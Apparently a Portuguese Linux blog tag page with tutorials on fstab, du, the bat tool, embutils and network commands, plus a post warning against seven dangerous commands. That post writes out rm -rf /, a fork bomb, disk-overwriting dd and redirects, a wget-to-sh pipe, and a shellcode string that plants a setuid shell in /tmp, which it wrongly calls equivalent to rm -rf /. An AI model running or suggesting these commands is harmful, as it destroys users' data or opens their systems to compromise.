Diolinux - O modo Linux e Open Source de ver o Mundo

Responsive Ad Slot

Mostrando postagens com marcador comando. Mostrar todas as postagens
Mostrando postagens com marcador comando. Mostrar todas as postagens

Como configurar discos e partições no Linux usando FSTAB

Nenhum comentário

terça-feira, 5 de março de 2019

Quando eu estava aprendendo Linux, lembro de ter lido em algum lugar algo que dizia: "No Linux tudo são arquivos". E querendo ou não, de fato, toda a configuração do sistema, de forma geral, é feita através de "simples" arquivos de textos, configurados de forma a fazer tudo o que você vê na sua tela funciona como se deve. Um desses arquivos é o FSTAB (File Systems Table).

Como configurar o FSTAB






Mesmo que você nunca sequer tenha pensando nisso, a sua distribuição Linux faz, toda a vez que você liga o seu computador e dá boot no sistema operacional, a montagem das partições do seu disco, do seu SWAP e de onde fica cada coisa. Esse é um processo automático que ocorre baseado nas informações contidas em um arquivo que fica no diretório /etc/fstab.

Configurando FSTAB


O que faz com que muitas pessoas tenham receio do FSTAB é que ele é um arquivo realmente não muito claro, especialmente se comparado com outros que existem por aí, que possuem várias linhas comentários informando como trabalhar com as informações contidas neles mesmos.

Meu conselho mais básico é: Encare o FSTAB como o que ele é: uma tabela. O nome TAB (de Table) não está ali à toa. Ao abri-lo, para facilitar, tente visualizar as colunas e linhas, isso vai ajudar bastante.

Você pode abrir ele com qualquer editor de textos que quiser, como o gedit, xed, pluma, entre outros, mas que tal brincarmos no terminal um pouco? 😄

Vocẽ pode fazer uma leitura rápida do que está contido no seu FSTAB com esse comando:
cat /etc/fstab
Isso deve te trazer informações semelhantes a essa:

FSTAB Linux

O FSTAB é responsável pela montagem do seu próprio sistema, por isso, ele é um arquivo bem "sensível", caso você esteja apenas estudando, é recomendo fazê-lo em uma máquina virtual

Outra possibilidade é fazer backup do arquivo antes de começar a editá-lo, por exemplo:
sudo cp /etc/fstab /etc/fstab-bkp
Se precisar usar esse arquivo de backup, coloque ele de volta no lugar assim:
sudo cp /etc/fstab-bkp /etc/fstab
 Vamos usar um editor de textos simples e disponível para todas as distros Linux para editar o FSTAB, o Nano. Para abrir o arquivo com propriedades adequadas para modificação, use:
sudo nano /etc/fstab
Ou rode o comando como Root, caso a sua distro não possua o seu usuário dentro do sudoers

Entendendo o FSTAB


Esse é o ponto primordial. Como já informado, o FSTAB nada mais é do que uma tabela (mesmo que não tenha muito essa cara inicialmente), cada coluna suporta algumas informações diferentes. São elas:

Configuração FSTAB

Coloquei efetivamente em uma tabela esse exemplo para ficar um pouco mais claro, mas vale uma observação, muitas vezes no lugar de "/dev/sda1" do exemplo, pode haver a UUID do dispositivo, de uma forma semelhante a essa: UUID=04b60adc-ccc2-406e-9cbb-fb80f9c4e5fb. No fim, é isso que bagunça um pouco as coisas, mas você pode montar os seus discos e partições apenas sabendo o nome deles, usando o comando:
lsblk

Repare os nomes abaixo da columa "NAME" e ao lado você consegue ver o tamanho e o tipo, se é "apenas leitura" (RO) e se já está montado em algum lugar em "MOUNTPOINT".

Antes de processeguirmos, é importante que você conheça alguma das opções envolvendo as colunas do FSTAB:

File System: Pode conter a UUID do dispositivo ou o endereço dele. Dispositivos como partições e discos ficam sempre em /dev no mundo Linux, então uma partição (como esta de 1,4T na imagem acima) poderia ser encontrada em /dev/sdc1.

Para verificar o UUID de uma partição para usar no lugar do endereço, use o comando:
blkid
Mount Point: É simplesmente o local onde a partição ou disco está montado. Ela pode apontar para qualquer lugar do sistema à partir da raiz (/). Geralmente os dispositivos montados automaticamente pelo sistema, como pen drives, HDs Externos, etc. são montados em /media, porém, quando isso é feito manualmente é comum usar o diretório /mnt, mas realmente, você pode montar em qualquer lugar que quiser.

Type: Nessa columa você deve colocar o tipo do sistema de arquivos de cada disco, você pode ver qual o sistema de arquivos a sua partição usa com o comando:
sudo file -s /dev/sdc1
Observe que a parte sublinhada deve ser trocada pelo caminho da unidade que você quer observar, para saber qual o nome das unidades é possível usar o comando que mostramos antes, o lsblk. Esse comando "file -s" ainda pode ser útil para você descobrir a UUID do disco, além de permitir que você veja em qual sistema de arquivos o seu disco está formatado.

Alguns comuns seriam:

- ext4
- swap

- ntfs-3g- vfat
- btrfs

- ntfs
- auto

Se por algum motivo você não sabe ou não conseguiu descobrir qual o  filesystem do disco, você pode tentar usar a opção "auto", que tenta adivinhar o formato na hora da montagem.

Options: Nessa coluna do FSTAB você vai adicionar as opções de montagem que existem. Existem diversas opções diferentes, eu vou listar algumas das mais comuns aqui. Várias opções podem ser usadas em uma mesma linha, bastando adicionar uma virgula apenas entre cada uma, sem a necessidade de espaço.

- auto/noauto: Essa opção permite que o dispositivo seja montado automaticamente durante o boot do sistema, sendo que "auto" é a opção padrão, se você não quer que o disco seja montado durante o boot, é necessário dizer explicitamente que você não quer isso colocando a opção "noauto".

- dev/nodev: Indica se o disco ou partição deve ou não ser considerado um dispositivo que contém um sistema de arquivos "especial". Geralmente a opção "nodev" é usada em sistemas que tem acesso público e tal opção impede que qualquer usuário possa fazer certas alterações, como criar um "device file".

- exec/noexec: Como você pode ver, as opções até que são simples de ententer, uma permite algo, a outra nega. Nesse caso você pode permitir ou negar que os binários nessa partição ou disco sejam executados.

- rw/ro: Se você associar aos seus significados fica fácil de ententer, rw (read and write/leitura e escrita) e ro (read only/apenas leitura).

- user/users/nouser: Nessa sessão podemos ter três opções. A opção "user" permite que qualquer usuário monte esse sistema de arquivos, o que automaticamente ativa outras funções como noexec, nosuid e nodev, a menos que você informe o contrário. Se a opção "nouser" for especificada, apenas o root poderá montar esse sistema de arquivos, já se a opção "users" for a selecionada, qualquer usuário dentro do grupo users será capaz de montar o dispositivo.

- defaults: Como o nome sugere, essa opção usa os padrões do Linux/da distro. A configuração padrão é definida conforme o sistema de arquivo. Geralmente isso quer dizer que as opções serão equivalentes a rw,suid,dev,exec,auto,nouser,async.

- owner: Permite que apenas o dono do dispositivo o monte, ou seja, quem criou o sistema de arquivos.

Existem muitas outras opções disponíveis, e uma leitura bacana para se fazer sobre isso pode ser nas páginas:

- Ubuntu Community Help
- ArchWiki
- Debian Wiki

Dump: Nessa coluna você pode indicar através de um (1) ou zero (0) se a unidade que está sendo montada deve receber um backup do programa dump. Colocar Zero indica que esse sistema de arquivos nunca será "backupeado" automaticamente dessa forma, em alguns casos, é preciso ver se o dump está instalado na distro.

Pass: O número que for adicionado nessa linha indicada a ordem em que o fsck vai fazer a checagem do disco por erros na hora do boot.

1 - Verifique essa partição primeiro.
2 - Verifique depois de verificar o primeiro.
0 - Não verifique.

Com isso finalizamos a explicação de cada uma das opções mais populares para a montagem de uma partição. Para você entender um pouco melhor, vamos para um caso prático.

Montando um disco e adicionando no FSTAB


Voltemos para a parte  onde eu mostrei  o comando "lsblk". Digamos que eu queira montar a minha partição "sdc1" de 1,4TB através do FSTAB na inicialização do meu sistema.

Primeiro vamos criar o ambiente ideal para fazer montagem. Eu vou fazer a minha montagem dentro de /mnt, então vou criar uma pasta dentro desse direitório para montar o meu disco, assim fica tudo organizado. Esse disco de 1,4TB é um HD de backup, então vou chamar a pasta de "dados".
sudo mkdir /mnt/dados
O comando acima cria uma pasta, ou diretório, dentro da minha pasta /mnt com o nome "dados",  então agora vamos indicar esse ponto de montagem no fstab, vamos editá-lo usando o editor nano.
sudo nano /etc/fstab
FSTAB configurada
Será que você consegue ver a ideia da tabela em ação agora? :)

No nano você deve navegar usando as setas do seu teclado até a última linha e digitar os dados da partição que você quer montar, no meu caso:

/dev/sdc1 /mnt/dados ext4 defauts 0 0

Indicando, em ordem, o disco que eu quero montar (/dev/sdc1), onde eu quero que seja montado (/mnt/dados), qual o sistema de arquivos do disco (ext4), configurações padrões (defaults) e configuranção de dump e pass setadas para zero (0).

Você pode também fazer comentários (como eu fiz na imagem acima) adicionar um # e depois escrever o que quiser. Tudo o que ficar nessa linha será ignorado na leitura do fstab pelo sistema, esses comentários servem apenas para interação humana e melhor compreenção.

No nano você geralmente usa  a tecla Ctrl (Control) combinada com alguma outra tecla para executar uma função, porém, você pode, aqui, para sair e salvar, pressionar "Ctrl+X", o editor vai te perguntar se você quer salvar o arquivo, pressione o "S" (de SIM) e sobrescreva o seu fstab dando "enter".

Dica: Tome cuidado para não alterar o nome do arquivo, ele deve continuar se chamando fstab!

Muito bem, de fato, agora se você reiniciasse o seu computador a sua partição ou disco seria montada no diretório indicado, porém, você pode fazer isso manualmente para montar o dispositivo agora mesmo usando esse comando:
sudo mount -O /dev/sdc1 /mnt/dados 
Lembrando que "/dev/sdc1" deve ser alterado para a nomenclatura que corresponde ao seu disco e "/mnt/dados" deve ser alterado pelo caminho e nome da pasta onde você quer fazer a montagem. 

Com isso você já tem todas as informações excenciais para fazer a montagem das partições do seu servidor, ou até mesmo na sua distro de desktop, se você for "mais raiz". 😀

Fazendo montagens para interface gráfica


Tem uma galera que fica um pouco presa ao "old way" de fazer as coisas, e esse nem sempre é jeito é o mais fácil. Claro, se é um servidor, se você é um profissional ou um estudante de Linux é outra história, mas se você tem uma interface na sua frente e só quer montar o seu disco e nada mais, nada impede que você use uma interface.

Existe um utilitário do GNOME que vem com a maior parte das distros chamado "GNOME Disks", o nome do pacote geralmente é "gnome-disk-utility" ou "gnome-disks" e você o encontra no repositório de qualquer distro. Quando o sistema está traduzido para Português, geralmente você o o encontra no menu do sistema procurando por "Discos".

GNOME Disks

Ele é um software muito legal, tem vários recursos para você se informar sobre os os seus discos. Você pode ver os desenhos das partições, tamanhos, formatos, sistemas de arquivos, tipos, fazer benchmarks, fazer testes de saúde dos discos, entre muitas outras coisas. Realmente fantástico.

Umas das funcionalidades dele é controlar a montagem de discos, fazendo com que tudo que fizemos "na unha" antes possa ser feito através de uma simples, mas poderosa, interface.

Para seguir o mesmo exemplo, digamos que eu queira montar o meu HD de 1,4 (1,5) TB aumaticamente com o sistema, basta eu clicar no disco na esquerda, depois você pode clicar no ícone da engrenagem e ir até "opções de montagem", onde você vai encontrar várias opções de configurações, muitas delas relacionadas ao que aprendemos ao longo do post.

GNOME Disks

É interessante ver a evolução do Linux nesse sentido, o nível personalização para fazer o que você bem entender com o sistema configurando apenas arquivos é sensacional, também é curioso pensar que há algumas décadas a única forma de fazer certas coisas era via terminal e esses arquivos de configuração. Atualmente tudo pode ser mais simples e bonito, mas o poder da linha de comando continua lá para quem quiser tomá-lo.

Até a próxima!
_____________________________________________________________________________
Viu algum erro ou gostaria de adicionar alguma sugestão a essa matéria? Colabore, clique aqui.


Comando DU no Linux - Como ver o tamanho de arquivos e diretórios pelo terminal

Nenhum comentário

quinta-feira, 24 de janeiro de 2019

Eu pretendo começar uma série de artigos aqui no blog falando sobre comandos úteis no terminal, além de algumas dicas de configurações mais avançadas. Esse tipo de artigo acaba servindo como documentação extra oficial e referência para futuros artigos e vídeos que nós produziremos. Hoje vamos falar sobre o 'du'.

Comando DU Disk Usage no Linux






Imagine que você esteja mexendo no seu servidor e querendo saber quanto de espaço algum arquivo ou pasta está ocupando, o que você faria? Em modo gráfico você pode utilizar alguns softwares como o "Analisador de uso de Disco" que é excelente, olha só:


Mas caso você não tenha modo gráfico ou simplesmente queira fazer a verificação via terminal, existe um utilitário muito legal e poderoso chamado "du", uma abreviação de "disk usage", ou "uso de disco", em Português.

Como utilizar o comando DU


O comando "du" geralmente está presente em todas as distros Linux por padrão, pois faz parte do Core Utils, para saber mais sobre a sua utilização você pode usar o comando:
du --help
du-help-linux
Existem mais opções do que as mostradas nessa imagem...
Através do comando de ajuda (--help) você consegue ver todos os parâmetros comuns que o "du" te oferece, mas vamos para alguns casos práticos e algumas dicas para você utilizar ele.

A funcionalidade do "du" é simples, você usa ele com o diretório ou arquivo que quer analisar, por exemplo:
du /home
Comando du exibindo blocos


Você verá que a saída desse comando será gigantesca, listando todos os diretório acessíveis com a permissão do seu usuário (seja o normal ou o root), o problema é que o comando "du" sem parâmetros mostra os valores de espaço em blocos de disco (f*ck yeah!), o que é um pouco complicado de entender, por isso existe um parâmetro "-h", que está ali para "humanos", ou seja, para você entender os espaços, medindo os valores em GB, MB, KB, etc. Por exemplo:
du -h /home 
comando DU mostrando unidades legíveis

Como você pode ver na imagem acima, podemos ver que os os diretórios agora tem valores mais simples de entender.

Ainda assim, esse comando mostra todos os diretórios de forma individual, o que dá uma saída muito grande realmente, se você quiser exibir apenas o tamanho total, use também o parâmetro "-s" de "summarize". Ele pode ser escrito de diversas formas, veja:
du -h -s /home
du -hs /home
du -sh /home 
Todos eles lhe entregarão o mesmo resultado, mostrando os diretórios onde a leitura não foi possível por questões de permissão de usuário:

Comando Du mostrando apenas o resultado
Como é possível ver, acaba sendo uma saída muito menor
Particularmente eu gosto de escrever "du -hs diretório_ou_arquivo", porque acabei associando com "head shot" do Counter Strike e acabei nunca mais esquecendo! 😁

Como eu já tinha comentado, você também pode usar o "du" para saber o tamanho de um arquivo, a forma de fazer a medição é muito simples, basta indicar o diretório com o nome do arquivo, ou então apontar o o arquivo, caso você já esteja no diretório. Por exemplo:

Eu tenho uma ISO do Fedora na minha pasta "Downloads" dentro da minha pasta "Home", primeiro navego até ela usando o "cd":
cd ~/Downloads/
Posso dar um "ls" para conferir o nome do arquivo e então rodar um comando "du" mais ou menos assim:
du -hs Fedora-Workstation-Live-x86_64-29-1.2.iso
Medindo arquivos com o DU

Como você pode ver, o terminal me retorna que a ISO do Fedora de cerca de "1.8 GB" de tamanho. Simples, não?

Algumas dicas um pouco mais avançadas para o "du"


Até então você viu a utilização básica do "du" para a medição do tamanho de diretórios e arquivos, mas e se eu quiser organizar a saída do "du" para saber quais arquivos estão ocupando mais espaço, ou para saber quais pastas estão mais cheias de arquivos e ocupando mais espaço, como fazer?

Para isso vamos usar o famoso "pipe" para jogar a saída de um comando em outro. Neste caso vamos usar a saída do "du" e jogá-la no "sort", outro comando bem bacana para ordenar as coisas:
du -hs * | sort -h
O comando acima está dizendo para o "du" usar o modo "humano" e simplificado (--hs) para todos os arquivos do diretório (*), e jogar a saída desse comando (|) para o que o "sort" ordene eles por tamanho usando valores "humanos" (-h).

Eu apliquei esse comando em uma pasta cheia que ISOs de sistema que eu tenho no computador, assim eu consigo saber qual delas é que ocupa mais espaço, a saída foi a seguinte:

usando o du para medir o tamanho das ISOs

Se eu quiser saber qual destas ISOs foi a última que eu baixei, posso usar o "du" dessa forma:
du -h --time *
Você também pode usar o "du" para analisar certos arquivos que contenham ou não contenham algum texto, por exemplo, quero saber o tamanho de todo os "buntus" que eu tenho nessa coleção de ISOs:
du -hs * | grep buntu -h
Contando ISOS do Ubuntu

Funciona exatamente como o exemplo anterior, com a diferença de que o "grep" está pegando resultados que tenham o texto "buntu" e me exibindo.

Como você deve imaginar, existem muitas combinações possíveis, então é bom estudar as opções que o "--help" do "du" te mostra, mas por fim, vou deixar uma última dica, se você quiser saber a soma total do diretório, além de fazer a contagem individual, use também o parâmetro "-c", essa forma:
du -hsc diretório_desejado

DU lendo o tamanho total

Repare que no final do comando você consegue ver o total do diretório.

Toda vez que se fala no "du", muita gente fica pensando em como usá-lo para verificar, não quanto espaço está sendo usado, mas quando espaço resta. Essa lição pode ficar para outro artigo, mas para não deixar você sem a resposta, a forma mais simples de verificar isso não é usando o "du" e sim outro utilitário chamado "df", abreviação para "disk filesystem", você pode usá-lo assim para ver como está a utilização das suas partições:
df -h
O resultado será parecido com isso:

Ver utilização de disco via linha de comando

Espero que o artigo tenha te ajudando a entender um pouco mais das ferramentas que estão disponíveis para você utilizar no seu servidor ou mesmo na sua distro de desktop, caso você goste de usar comandos no terminal. Este é só o primeiro artigo de uma série que eu pretendo fazer para mostrar algumas coisas um pouco mais avançadas do mundo Linux, incluindo configurações de arquivos mais sensíveis do sistema, você não perde por esperar! :)

Até a próxima!
_____________________________________________________________________________
Viu algum erro ou gostaria de adicionar alguma sugestão a essa matéria? Colabore, clique aqui.


7 comandos perigosos do Linux que você NUNCA deve executar

Nenhum comentário

quinta-feira, 17 de janeiro de 2019

Como o número de usuários leigos de Linux vem aumentando com o tempo, acho pertinente alertar as pessoas sobre alguns comandos que podem ser perigosos, tanto para o sistema, quanto para os dados contidos no computador.

7 Comandos perigosos do mundo Linux




O terminal é uma ferramenta muito poderosa, por conta disso é bom você dominá-lo, ou pelo menos entendê-lo, para evitar problemas no seu sistema baseado em Linux.
Veja também: O curso no Diolinux EAD para aprender a dominar o terminal
Os grandes problemas que você pode enfrentar usando o terminal de forma indiscriminada normalmente estão atrelados a comandos de sobrescrita de dados, então vamos mostrar alguns aqui que você deve prestar especial atenção quando vir alguém sugerindo que você faça no seu computador com Linux.

Atenção: Você NÃO deve executar nenhum destes comandos no seu computador, isso pode causar danos irreversíveis que nós não nos responsabilizamos, o artigo tem a intenção de ser instrutivo, justamente para evitar este tipo de situação.

1 - rm -rf


É um comando clássico do do Linux que teoricamente não faz nada de mais, ele serve apenas para apagar arquivos, e é aí que mora o perigo. Dependendo da forma que ele for aplicativo o resultado pode ser muito desagradável, por isso é importante você entender o que os comandos fazem, vamos explicar um pouco melhor neste exemplo:
- rm: comando usado no Linux para deletar arquivos.
- rm -r: o comando deleta pastas recursivamente, mesmo que a pastas esteja vazia.
- rm -f: cUsando este parâmetro, o propriedade de "apenas leitura" que um arquivo tenha é removida sem perguntar, permitindo que o arquivo seja apagado.
- rm -rf / : Usando a combinação dos dois parâmetros com a "/" você diz para o sistema apagar tudo que está no diretório raiz do sistema.
- rm -rf * : Força o apagamento de tudo que está no diretório atual ou no de trabalho, dependendo de onde você estiver.
- rm -rf . : Acrescentando um ponto, você pode apagar também as pastas ocultas, além das normais.

Tome muito cuidado ao executar um comando destes, especialmente se for feito como root ou usando o sudo.


Tão perigoso que pode ser este comando, que atualmente o Linux se protege contra ele, se você rodá-lo, mesmo com sudo ou como root, ele não vai funcionar, para isso é preciso usar os parâmetros descritos na imagem acima. Da mesma forma que o Linux protege você de destruir o sistema sem querer, ele também permite que você o destrua mediante a ter certeza de que é realmente isso que você quer, curioso, não é?

2 - :(){:|:&};:


Este comando funciona como uma "Fork Bomb", ele opera definindo uma função chamada ':', que se chama duas vezes, uma vez em primeiro plano e outra em segundo plano, o processo se repete indefinidamente até que o sistema trave.

3 - qualquer comando para > /dev/sda


A forma com que o Linux lê as partições e discos é diferente do Windows, por conta disso, normalmente novatos não conseguem entender em primeira instância como eles são distribuídos. Normalmente a localização dos dispositivos de armazenamento do sistema ficam dentro de /dev, sendo que podem haver vários por ali e normalmente o sda está presente.

O problema do comando acima é que ele redireciona a saída de qualquer comando que seja colocado para o seu bloco de armazenamento, desta foma sobrescrevendo alguns dados e corrompendo outros.

4 - mv pasta/diretório /dev/null


Eu costumava brincar sobre o /dev/null me referindo a ele como o "buraco negro" do Linux. Tudo que é enviado para ele é perdido "para sempre". Então tome cuidado ao mover qualquer coisa para esta localização. O comando mv serve para mover arquivos ou diretórios para o destino indicado, se este destino for o /dev/null você estará mandando seus arquivos pra Nárnia.

5 - wget http://malicious_source -O- | sh


Este comando vai aparecer para você instalar alguns programas. O wget é o programa responsável por fazer o download da URL que vem logo após, ele é bem útil para baixar arquivos em geral, o problema está no arquivo que ele baixa e na sequência do comando  que o executa no caso dele ser um shell script. Só baixe arquivos desta forma de fontes que você considera confiáveis e se estiver na dúvida, baixe apenas o arquivo de shell, eliminando qualquer parâmetro que apareça após o link, assim você pode abrir ele em um editor de texto de sua preferência e verificar o que há dentro dele.

6 - dd if=/dev/random of=/dev/sda


Assim como o ítem 3 da nossa lista, o grande problema aqui é o destino ser o /dev/sda. Tome cuidado. O comando dd pode ser muito útil para copiar arquivos e até mesmo partições inteiras, como no exemplo 6, mas se a saída for um outro disco, tome cuidado, pois o resultado irá sobrepor os dados lá existentes.

7 - Comandos disfarçados


Como eu comentei à princípio, o terminal é uma ferramenta poderosa, se você não dominá-lo, é bom ter cuidado com que você for rodar nele, se o você não fala a língua do terminal, saiba que ele fala muitas outras. O comando abaixo nada mais é do que o comando indicado no primeiro item da nossa lista, só que em forma hexadecimal.

char esp[] __attribute__ ((section(“.text”))) /* e.s.p release */ = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″ “\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″ “\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″ “\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″ “\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″ “\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″ “\x6e\x2f\x73\x68\x00\x2d\x63\x00″ “cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;”;

Ele tem o mesmo propósito do famigerado "rm -rf /", por isso, não rode coisas no terminal que você não sabe para quem servem, existem muito conteúdo grátis a internet para você estudar sobre e até mesmo alguns bons cursos pagos, como é o caso do "Dominando o Terminal" aqui do blog mesmo, mas em linhas gerais, se você evitar colocar comandos que você não sabe para que servem direito, os problemas já serão minimizados. 

Agora espalhe este conhecimento para ajudar mais pessoas a ficarem precavidas sobre estes pequenos percalços da vida computacional.

Até a próxima!
_____________________________________________________________________________
Viu algum erro ou gostaria de adicionar alguma sugestão a essa matéria? Colabore, clique aqui.




Conheça o Bat, um clone do cat com Asas

Nenhum comentário

sexta-feira, 4 de janeiro de 2019

Não estamos falando de morcegos e gatos literalmente, mas sim do famoso comando "cat" que permite que você visualize o conteúdo dos arquivos no Linux. Uma das curiosidades do mundo open source e que até coisas básicas, relativamente simples e consolidadas como o comando "cat" podem possuir alternativas. Conheça hoje o "bat".

Comando bat em substituição ao cat



O Bat é um clone do comando cat que possui Syntax Highlighting (colorização da saída de acordo com o tipo do documento), numeração de linhas e ainda possui integração com o Git, mostrando partes que foram alteradas do arquivo de acordo com o último commit.

Além disso, ele ainda possui temas para realce de sintaxe para linguagens de programação e de marcação, concatenação e paginação de arquivos e entre outras facilidades.

Como instalar?


Para instalar o "bat" no Debian, Ubuntu, Mint e derivados rode os comandos abaixo em ordem:

Para sistemas 64 bits:
wget https://github.com/sharkdp/bat/releases/download/v0.9.0/bat_0.9.0_amd64.deb
sudo dpkg -i bat_0.9.0_amd64.deb
Para sistemas 32 bits:
wget https://github.com/sharkdp/bat/releases/download/v0.9.0/bat_0.9.0_i386.deb
sudo dpkg -i bat_0.9.0_i386.deb
Caso você use Arch, Manjaro, Antergos e derivados:
sudo pacman -S bat
Caso você outra distro (ou qualquer uma), use:

Para sistemas 64 bits:
wget https://github.com/sharkdp/bat/releases/download/v0.9.0/bat-v0.9.0-x86_64-unknown-linux-gnu.tar.gz
tar zxvf bat-v0.9.0-x86_64-unknown-linux-gnu.tar.gz
cd bat-v0.9.0-x86_64-unknown-linux-gnu/
sudo mv bat /usr/local/bin/
sudo mv bat.1 $(man -w echo | sed 's/echo.*//')
Para sistemas 32 bits:
wget https://github.com/sharkdp/bat/releases/download/v0.9.0/bat-v0.9.0-i686-unknown-linux-gnu.tar.gz
tar zxvf bat-v0.9.0-i686-unknown-linux-gnu.tar.gz
cd bat-v0.9.0-i686-unknown-linux-gnu/
sudo mv bat /usr/local/bin/
sudo mv bat.1 $(man -w echo | sed 's/echo.*//')

E como se usa? 


Brincar com o "morcego" é tão fácil quanto com o "gato" e acho que só no mundo Linux essa frase faz algum sentido, não é, não? 🤣🤣🤣

Para começar usar o Bat, você pode simplesmente rodar o comando bat [seu_arquivo] ou se quiser iniciar aos poucos, rode o comando bat --help para ter uma ajuda, se preferir, leia diretamente pelo manual com o comando man bat.

Alguns exemplos para você entender


Vamos ler um arquivo de Shell Script para ver a saída:

Bat Instagram

Existem muitas outras opções de configuração, leitura e personalização de cores que você pode fazer no Bat, basta usar o help ou o manual para ter uma noção melhor, outro lugar legal para você visitar é o repositório do software no GitHub, lá você também encontra muitas informações.

Caso você não tenha um bom domínio com comandos do terminal ou deseja ampliar ainda mais, recomendo você adquirir os treinamentos oferecidos aqui no blog Diolinux, juntamente com o Terminal Root e aproveitar os pacotes exclusivos. Saiba mais clicando aqui.

Abraços!
_____________________________________________________________________________
Viu algum erro ou gostaria de adicionar alguma sugestão a essa matéria? Colabore, clique aqui.


Embutils - Uma alternativa aos comandos padrões do seu Linux

Nenhum comentário

quarta-feira, 4 de abril de 2018

Embutils, assim como o "coreutils", do projeto "GNU", é um pacote que possui um conjunto de comandos para a administração do sistema. Como descrito no site oficial do embutils, a maioria do userland tipico do "Unix" vem ou do projeto "GNU", ou da galera do "BSD". Essas fontes são antigas e otimizadas para recursos, mas não para manter seu tamanho reduzido, e agora que os computadores são rápidos o suficiente e possuem muita RAM, implementações se tornam cada vez maiores.

Embutils





Essa é a maior diferença entre o "coreutils" do GNU e o "embutils", pois o "embutils" é pensado em manter o tamanho final do seu binário  bem reduzido mesmo nos tempos atuais, porém mantendo as mesmas características de recursos dos projetos anteriores citados.


Para dispositivos embarcados o "embutils" seria um prato cheio (que é o propósito primário que o "embutils" foi pensado), porém podemos utilizá-lo em desktops e servidores ou sei lá aonde mais.

Eu disse seria? SIM! Dois motivos que o atrapalhariam na adoção para embarcados é que seu desenvolvimento parou já faz quase dez anos e isso poderia gerar desinteresse por parte de desenvolvedores (como também pode ser que não). A "dietlibc" recebeu seu ultimo suporte pelo projeto oficial há cinco anos atrás, porém a biblioteca continua sendo utilizada por outros projetos como as próprias distribuições Debian e Ubuntu. Podemos verificar que a dietlibc ainda consta nos repositórios:

dietlibc-no-repositório-do-ubuntu-mate
É uma biblioteca incrível que mantem o tamanho final do binário muito enxuto e possui suporte a uma boa quantidade de arquiteturas.







O segundo motivo é que com o declínio da GPL (como pode ser lido clicando aqui), isso pode ser um motivo para afastar o interesse de empresas e projetos.

O "embutils" possui também o comando "uname" assim como o "coreutils" do "GNU" e o como o "toybox" (nenhum dos três compartilham códigos iguais, sendo totalmente escritos do zero) e sua saída do comando "uname" do "embutils" também não consta o termo "GNU/Linux" em nenhuma de suas opções (assim como não consta nas saídas do "toybox" como pode ser lido no artigo Como conheci o Alpine Linux). Gostem de saber disso ou não, mas o termo "GNU/Linux" no comando "uname" do "coreutils" foi uma forma que a FSF fez para se promover e querer que as pessoas chamem o sistema operacional.

comando-uname-do-embutils-utilizado-para-verificar-o-sistema-operacional

Bom, por hora é só e em breve falaremos do conjunto de comandos para o mesmo propósito do sistema operacional "Plan9" ;)
_____________________________________________________________________________
Viu algum erro ou gostaria de adicionar alguma sugestão a essa matéria? Colabore, clique aqui.


3 comandos Linux para você trabalhar com interfaces de rede

Nenhum comentário

quinta-feira, 15 de março de 2018

Eu geralmente não posto dicas envolvendo terminal aqui no Diolinux, mas acho que é muito válido que você aprenda alguns truques "mais avançados" do Linux para poder usar no dia a dia, se quiser, é claro. Tudo o que eu vou mostrar aqui pode ser feito via interface gráfica também, mas como o tema de hoje é "terminal", é por ele que vamos explorar.

Comandos de rede no Linux






Os comandos que eu vou te ensinar agora podem ser utilizados em qualquer distribuição Linux, no entanto, no tutorial em vou utilizar o Linux Mint, que funciona da mesma forma que o Ubuntu. Os comandos fazem parte de um pacote chamado net-tools, de modo que se algum deles não for reconhecido, pode ser que o pacote esteja faltando no seu sistema, cabendo a você instalá-lo.

Em derivados do Debian e Ubuntu (como o Linux Mint por exemplo) basta instalar usando o APT:
$ sudo apt install net-tools
ou como Root:
# apt install net-tools

1 - Vamos começar com algo simples, ver as suas conexões de rede com informações como o seu IP (endereço de brodcast, mac, etc.).


Existem várias formas de fazer isso,  algumas das opções são:
ifconfig
 ip addr show
hostname -I 
As várias formas de ver o seu IP no Linux

2 - Habilitar e desabilitar interfaces de rede


Para fazer isso você precisa primeiro conhecer o nome das suas interfaces de rede, o comando ifconfig mencionado antes funciona muito bem para isso. Inclusive, vamos usar várias vezes o ifconfig aqui, então para desabilitar ou habilitar uma interface de rede, você simplesmente pode fazer isso:
sudo ifconfig nome_da_interface up ou down
Por exemplo:
sudo ifconfig enp35s0 down
Para desabilitar a interface e:
sudo ifconfig enp35s0 up
Para fazê-la "subir" novamente.

Existe uma variação mais simples deste comando para que você precise digitar menos:
sudo ifdown nome_da_interface
ou:
sudo ifup nome_da_interface

3 - Como definir um IP fixo para uma interface de rede


Se você está aí "brincando" de montar um servidor, é bem provável que você queira ter um IP fixo nele, para fazer isso via linha de comando você pode fazer assim:
sudo ifconfig nome_da_interface 0.0.0.0
No exemplo ficaria:
sudo ifconfig enp35s0 192.168.0.60
Aproveitando o embalo você pode querer também colocar uma máscara de sub-rede, um endereço de broadcast, talvez um valor de MTU personalizado, certo?

Isso é bem fácil de fazer e a lógica é praticamente a mesma.

Para a máscara:
sudo ifconfig nome_da_interface netmask valor_da_máscara
Por exemplo:
sudo ifconfig  enp35s0 netmask 255.255.255.0
Para configurar o endereço de Broadcast:
sudo ifconfig nome_da_interface broadcast 0.0.0.0
Por exemplo:
sudo ifconfig enp35s0 broadcast 192.168.0.255
Para definir o valor de MTU:
sudo ifconfig nome_da_interface mtu valor
Por exemplo:
sudo ifconfig enp35s0 mtu 1500
E claro, se você já é ligado em como o terminal funciona deve ter percebido que dá para configurar tudo isso de uma vez só, seguindo o exemplo:
sudo ifconfig enp35s0 192.168.0.60 netmask 255.255.255.0 broadcast 192.168.0.255 mtu 1500

Concluindo


Apesar de eu ter prometido 3 comandos, no fim das contas você aprendeu muito mais do que isso, não é verdade? Acho que isso não é um problema, certo? :D

Saiba que existem muitos outros utilitários além do ifconfig para que você possa trabalhar com as suas interfaces de rede e colher informações também.

Separei para você aqui uma oferta especial dos nossos parceiros da Udemy em um curso bem em conta para você estudar sobre servidores Ubuntu, onde são abordadas configurações de placas de rede e muitas outras coisas, como Firewall, proxy, entre outros, clique aqui e conheça.

Até a próxima!
_____________________________________________________________________________
Viu algum erro ou gostaria de adicionar alguma sugestão a essa matéria? Colabore, clique aqui.


